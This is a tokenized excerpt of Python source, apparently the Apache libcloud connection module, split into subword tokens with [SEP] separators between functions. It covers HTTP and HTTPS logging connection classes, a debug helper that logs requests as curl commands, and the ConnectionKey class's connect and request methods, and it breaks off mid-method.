"\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd_", "._", "extend_", "(_", "[_", "\"--", "data", "-", "binar", "y", "\"_", ",_", "pq", "uot", "e_", "(_", "body_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "._", "extend_", "(_", "[_", "pq", "uot", "e_", "(_", "\"", "https", "://", "%", "s", ":", "%", "d", "%", "s", "\"_", "%_", "(_", "self_", "._", "host_", ",_", "self_", "._", "port_", ",_", "url_", ")_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", " ", "\"_", "._", "join_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Log", "ging", "HTTP", "SC", "onnect", "ion_", "(_", "Log", "ging", "Connection_", ",_", "Lib", "cloud", "HTTP", "SC", "onnect", "ion_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Utili", "ty", " ", "Class", " ", "for", " ", "logg", "ing", " ", "HTTP", "S", " ", "connections", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "HTTP", "SC", "onnect", "ion_", "(_", "Log", "ging", "Connection_", ",_", "Lib", "cloud", "HTTP", "SC", "onnect", "ion_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "getresponse_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "Lib", "cloud", "HTTP", "SC", "onnect", "ion_", "._", "getresponse_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "log_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", ",_", "rv_", "=_", "self_", "._", "\\u", "log", "\\u", "response_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "write_", "(_", "rv_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "HTTP", "SC", "onnect", "ion_", "(_", "Log", "ging", "Connection_", ",_", "Lib", "cloud", "HTTP", "SC", "onnect", "ion_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "request_", "(_", "self_", ",_", "method_", ",_", "url_", ",_", "body_", "=_", "None_", ",_", "headers_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "._", "update_", "(_", "{_", "'", "X", "-", "LC", "-", "Request", "-", "ID", "'_", ":_", "str_", "(_", "id_", "(_", "self_", ")_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "log_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pre_", "=_", "\"#", " ", "--------", " ", "begin", " ", "%", "d", " ", "request", " ", "----------", "\\\\", "n", "\"_", "%_", "id_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "write_", "(_", "pre_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "log", "\\u", "curl_", "(_", "method_", ",_", "url_", ",_", "body_", ",_", "headers_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Lib", "cloud", "HTTP", "SC", "onnect", "ion_", "._", "request_", "(_", "self_", ",_", "method_", ",_", "url_", ",_", "body_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Log", "ging", "HTTP", "Connection_", "(_", "Log", "ging", "Connection_", ",_", "Lib", "cloud", "HTTP", "Connection_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Utili", "ty", " ", "Class", " ", "for", " ", "logg", "ing", " ", "HTTP", " ", "connections", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "HTTP", "Connection_", "(_", "Log", "ging", "Connection_", ",_", "Lib", "cloud", "HTTP", "Connection_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "getresponse_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "Lib", "cloud", "HTTP", "Connection_", "._", "getresponse_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "log_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", ",_", "rv_", "=_", "self_", "._", "\\u", "log", "\\u", "response_", "(_", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "write_", "(_", "rv_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "ging", "HTTP", "Connection_", "(_", "Log", "ging", "Connection_", ",_", "Lib", "cloud", "HTTP", "Connection_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "request_", "(_", "self_", ",_", "method_", ",_", "url_", ",_", "body_", "=_", "None_", ",_", "headers_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "._", "update_", "(_", "{_", "'", "X", "-", "LC", "-", "Request", "-", "ID", "'_", ":_", "str_", "(_", "id_", "(_", "self_", ")_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "log_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pre_", "=_", "\"#", " ", "--------", " ", "begin", " ", "%", "d", " ", "request", " ", "----------", "\\\\", "n", "\"_", "%_", "id_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "write_", "(_", "pre_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "log", "\\u", "curl_", "(_", "method_", ",_", "url_", ",_", "body_", ",_", "headers_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Lib", "cloud", "HTTP", "Connection_", "._", "request_", "(_", "self_", ",_", "method_", ",_", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "body_", ",_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "Base", " ", "Connect", "ion", " ", "class", " ", "to", " ", "derive", " ", "from", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "conn", "\\u", "classe", "s", " ", "=", " ", "(", "Log", "ging", "HTTP", "SC", "onnect", "ion", ")_", "\\u\\u\\uNL\\u\\u\\u_", "conn", "\\u", "classes_", "=_", "(_", "Lib", "cloud", "HTTP", "Connection_", ",_", "Lib", "cloud", "HTTP", "SC", "onnect", "ion_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response", "Cls", "_", "=_", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "Respons", "e", "Cls", "_", "=_", "Ra", "w", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "connection_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "(_", "80_", ",_", "443_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "secure_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "driver_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "action_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "key_", ",_", "secure_", "=_", "True_", ",_", "host_", "=_", "None_", ",_", "force", "\\u", "port_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Initializ", "e", " ", "`", "user", "\\u", "id", "`", " ", "and", " ", "`", "key", "`", ";", " ", "set", " ", "`", "secure", "`", " ", "to", " ", "an", " ", "C", "{", "int", "}", " ", "based", " ", "on", "\\", "10", ";", " ", " ", " ", " ", "pass", "ed", " ", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "key_", "=_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "secure_", "=_", "secure_", "and_", "1_", "or_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ua_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "host_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "host_", "=_", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "force", "\\u", "port_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "port_", "=_", "(_", "force", "\\u", "port_", ",_", "force", "\\u", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "connect_", "(_", "self_", ",_", "host_", "=_", "None_", ",_", "port_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Esta", "blis", "h", " ", "a", " ", "connecti", "on", " ", "with", " ", "the", " ", "API", " ", "server", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "host", ":", " ", "C", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "host", ":", " ", "Optio", "nal", " ", "host", " ", "to", " ", "override", " ", "our", " ", "default", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "port", ":", " ", "C", "{", "int", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "port", ":", " ", "Optio", "nal", " ", "port", " ", "to", " ", "override", " ", "our", " ", "default", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "return", "s", ":", " ", "A", " ", "connecti", "on", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "host_", "or_", "self_", "._", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "port_", "or_", "self_", "._", "port_", "[_", "self_", "._", "secure_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kwargs_", "=_", "{_", "'", "host", "'_", ":_", "host_", ",_", "'", "port", "'_", ":_", "port_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "connection_", "=_", "self_", "._", "conn", "\\u", "classes_", "[_", "self_", "._", "secure_", "]_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "You", " ", "can", " ", "uncom", "ent", " ", "this", " ", "line", ",", " ", "if", " ", "you", " ", "setup", " ", "a", " ", "reverse", " ", "proxy", " ", "server_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whi", "ch", " ", "prox", "ies", " ", "to", " ", "your", " ", "endpoint", ",", " ", "and", " ", "lets", " ", "you", " ", "easi", "ly", " ", "capture_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "connections", " ", "in", " ", "clear", "text", " ", "whe", "n", " ", "you", " ", "setup", " ", "the", " ", "proxy", " ", "to", " ", "do", " ", "SSL_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "you", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "connecti", "on", " ", "=", " ", "self", ".", "conn", "\\u", "classe", "s", "[", "Fal", "se", "](", "\"", "127", ".0", ".0", ".1", "\",", " ", "808", "0", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "connection_", "=_", "connection_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "user", "\\u", "agent_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "libc", "loud", "/", "%", "s", " ", "(%", "s", ")%", "s", "'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "libc", "loud", "_", "._", "\\u\\u", "version\\u\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "driver_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"_", "._", "join_", "(_", "[_", "\"", " ", "(%", "s", ")\"_", "%_", "x_", "for_", "x_", "in_", "self_", "._", "ua_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "user", "\\u", "agent", "\\u", "append_", "(_", "self_", ",_", "token_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Append", " ", "a", " ", "token", " ", "to", " ", "a", " ", "user", " ", "agent", " ", "string", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "User", "s", " ", "of", " ", "the", " ", "librar", "y", " ", "shou", "ld", " ", "call", " ", "this", " ", "to", " ", "unique", "ly", " ", "identify", " ", "thi", "er", " ", "request", "s", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "a", " ", "provide", "r", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "token", ":", " ", "C", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "token", ":", " ", "Token", " ", "to", " ", "add", " ", "to", " ", "the", " ", "user", " ", "agent", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ua_", "._", "append_", "(_", "token_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connect", "ion", "Key_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "request_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "raw_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Request", " ", "a", " ", "give", "n", " ", "`", "action", "`.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Basic", "ally", " ", "a", " ", "wrapp", "er", " ", "aro", "und", " ", "the", " ", "connecti", "on", "\\", "10", ";", " ", " ", " ", " ", "object", "'", "s", " ", "`", "request", "`", " ", "tha", "t", " ", "doe", "s", " ", "some", " ", "help", "ful", " ", "pre", "-", "process", "ing", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "action", ":", " ", "C", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "action", ":", " ", "A", " ", "path", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "params", ":", " ", "C", "{", "dict", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "params", ":", " ", "Optio", "nal", " ", "mapping", " ", "of", " ", "addition", "al", " ", "parameter", "s", " ", "to", " ", "send", ".", " ", "If", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", ",", " ", "lea", "ve", " ", "as", " ", "an", " ", "empty", " ", "C", "{", "dict", "}.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "data", ":", " ", "C", "{", "unicode", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "data", ":", " ", "A", " ", "body", " ", "of", " ", "data", " ", "to", " ", "send", " ", "with", " ", "the", " ", "request", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "header", "s", ":", " ", "C", "{", "dict", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "header", "s", ":", " ", "Extra", " ", "header", "s", " ", "to", " ", "add", " ", "to", " ", "the", " ", "request", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", ",", " ", "lea", "ve", " ", "as", " ", "an", " ", "empty", " ", "C", "{", "dict", "}.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "method", ":", " ", "C", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "method", ":", " ", "An", " ", "HTTP", " ", "method", " ", "suc", "h", " ", "as", " ", "\"", "GET", "\"", " ", "or", " ", "\"", "POST", "\".\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "An", " ", "instance", " ", "of", " ", "type", " ", "I", "{", "response", "Cls", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "params_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "headers_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "action_", "=_", "action_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "method_", "=_", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Extend", " ", "default", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "self_", "._", "add", "\\u", "default", "\\u", "params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Extend", " ", "default", " ", "headers_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "self_", "._", "add", "\\u", "default", "\\u", "headers_", "(_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "alw", "ay", "s", " ", "send", " ", "a", " ", "content", " ", "length", " ", "and", " ", "user", "-", "agent", " ", "header_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "._", "update_", "(_", "{_", "'", "User", "-", "Agent", "'_", ":_", "self_", "._", "\\u", "user", "\\u", "agent_", "(_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "._", "update_", "(_", "{_", "'", "Host", "'_", ":_", "self_", "._", "host_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Encode", " ", "data", " ", "if", " ", "necessar", "y_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "data_", "!=_", "''_", "and_", "data_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "encode", "\\u", "data_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "data_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "headers_", "._", "update_", "(_", "{_", "'", "Conten", "t", "-", "Length", "'_", ":_", "str_", "(_", "len_", "(_", "data_", ")_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "params_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'?'_", "._", "join_", "(_", "(_", "action_", ",_", "urllib_", "._", "urlencode_", "(_", "params_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "action_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", "d", " ", "terr", "ibl", "e", " ", "hack", "...", "this", " ", "a", " ", "less", "-", "bad", " ", "hack", " ", "tha", "t", " ", "doe", "sn", "'", "t", " ", "execute", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "request", " ", "twi", "ce", ",", " ", "but", " ", "it", "'", "s", " ", "still", " ", "a", " ", "hack", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "@", "TOD", "O", ":", " ", "Sho", "ul", "d", " ", "we", " ", "just", " ", "pass", " ", "File", " ", "object", " ", "as", " ", "body", " ", "to", " ", "request", " ", "method_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "inst", "ead", " ", "of", " ", "deal", "ing", " ", "with", " ", "splitting", " ", "and", " ", "sendin", "g", " ", "the", " ", "file", " ", "ours", "elv", "es", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "raw_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connection_", "._", "put", "request_", "(_", "method_", ",_", "action_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "headers_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "connection_", "._", "put", "header_", "(_", "key_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "connection_", "._", "end", "headers_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connection_", "._", "request_", "(_", "method_", "=_", "method_", ",_", "url_", "=_", "url_", ",_", "body_", "=_", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "ssl_", "._", "SS", "LE", "rror_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "ssl_", "._", "SS", "LE", "rror_", "(_", "str_", "(_", "e_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "raw_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "self_", "._", "raw", "Respons", "e", "Cls", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 